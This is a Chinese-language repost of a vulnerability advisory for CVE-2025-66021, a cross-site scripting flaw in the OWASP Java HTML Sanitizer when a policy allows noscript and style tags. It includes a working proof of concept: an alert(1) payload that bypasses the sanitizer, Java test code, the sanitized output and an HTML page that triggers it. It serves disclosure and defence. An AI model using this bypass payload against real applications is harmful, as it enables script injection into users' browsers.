OWASP Java HTML 清理库曝出 XSS 漏洞:noscript 与 style 标签组合成隐患

53 阅读3分钟

CVE-2025-66021:OWASP Java HTML Sanitizer 跨站脚本漏洞

漏洞详情

摘要 观察发现,当 OWASP Java HTML Sanitizer 的 HtmlPolicyBuilder 允许 noscript 标签和 style 标签,并且在 style 标签内使用 .allowTextIn("style") 时,该库存在跨站脚本漏洞。如果精心构造的载荷能够绕过 CSS 清理并允许 HTML 策略中未提及的标签,则可能导致 XSS 攻击。

详情 OWASP Java HTML Sanitizer 存在跨站脚本漏洞。此漏洞仅发生在 HtmlPolicyBuilder 允许 noscriptstyle 标签,并允许 style 标签内包含文本的情况下。

以下情况非常特殊,但如果用户将 HtmlPolicyBuilder 与除 noscript 之外的任何其他标签结合使用,并允许 style 标签在 style 标签内使用 allowTextIn,那么在此情况下,清理器将是安全的,不会受到 XSS 攻击。这种情况的发生是因为浏览器在清理后如何解析 noscript 标签。

概念验证

创建一个允许 pnoscriptstyle HTML 标签并允许 .allowTextIn("style")HtmlPolicyBuilder

有两种非常相似的 XSS 载荷,唯一的区别是一个包含 p 标签,另一个包含 noscript 标签。 这些载荷包含可能易受 XSS 攻击的 script 标签,应在清理后被剥离。

  1. <noscript><style></noscript><script>alert(1)</script>
  2. <p><style></p><script>alert(1)</script>

运行以下清理载荷的代码片段。

public class main {
    private static final String ALLOWED_HTML_TAGS = "p, noscript, style";

    /**
     * Description of vulnerability :
     *  The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.
     *  However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.
     */

    public static void main(String[] args) {
        withAllowedTextAndStyleTag();
    }

    /**
     *  Test case : Vulnerable to XSS
     */
    public static void withAllowedTextAndStyleTag() {
        HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();
        PolicyFactory policy = htmlPolicyBuilder
                .allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*"))
                .allowTextIn("style")
                .toFactory();
        String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";
        String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

        System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));
        System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));
    }
}

使用最新的库版本

<dependency>
    <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
    <artifactId>owasp-java-html-sanitizer</artifactId>
    <version>20240325.1</version>
</dependency>

概念验证代码的输出应如下所示:

PAYLOAD: <noscript><style></noscript><script>alert(1)</script>
SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>


PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

让我们了解下面的清理过程发生了什么

--------------------| --> style 标签后的任何内容都被视为 CSS,不会被清理
PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS

-----------------------------| --> 清理后,script 标签中的载荷保持不变,并且 style 和 noscript 标签被关闭。
SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>

-------------| --> style 标签后的任何内容都被视为 CSS,不会被清理
PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS

--------------------- | --> 清理后,script 标签中的载荷保持不变,并且 style 和 p 标签被关闭。
SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

创建一个示例 HTML 页面并复制步骤 5 中应生成的两个清理后输出

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>POC OF SANITIZER OUTPUT</title>
</head>
<body>

<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->
<noscript><style></noscript><script>alert(1)</script></style></noscript>

<!-- SAFE OUTPUT -->
<p><style></p><script>alert(1)</script></style></p>

</body>
</html>

在浏览器中打开此 HTML 页面,它应该会弹出一个警告。

打开检查元素以了解发生了什么。如果用户仔细观察,与 p 标签和 style 标签组合的载荷不会导致 XSS,浏览器将 style 标签后的任何内容视为 CSS。

noscript 标签和 style 标签组合的载荷确实导致了 XSS。 浏览器解析了 noscript,它包装了 style 标签,然后关闭了 noscript 标签,之后 script 载荷被视为有效的 HTML 标签,在浏览器中执行,这导致了 XSS,因为这与上一个使用 p 标签的示例中发生的情况非常不同。

影响 这可能导致应用程序中的 XSS 攻击。 参考:owasp.org/www-communi…

参考

安全信息

严重程度:高 CVSS 总体评分:8.6 CVSS v4 基础指标:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N 弱点:CWE-79 - 在网页生成过程中对输入的不当中和(跨站脚本)

受影响的版本:= 20240325.1 已修复的版本:无

包信息

  • Maven 坐标:com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer
  • 源仓库:OWASP/java-html-sanitizer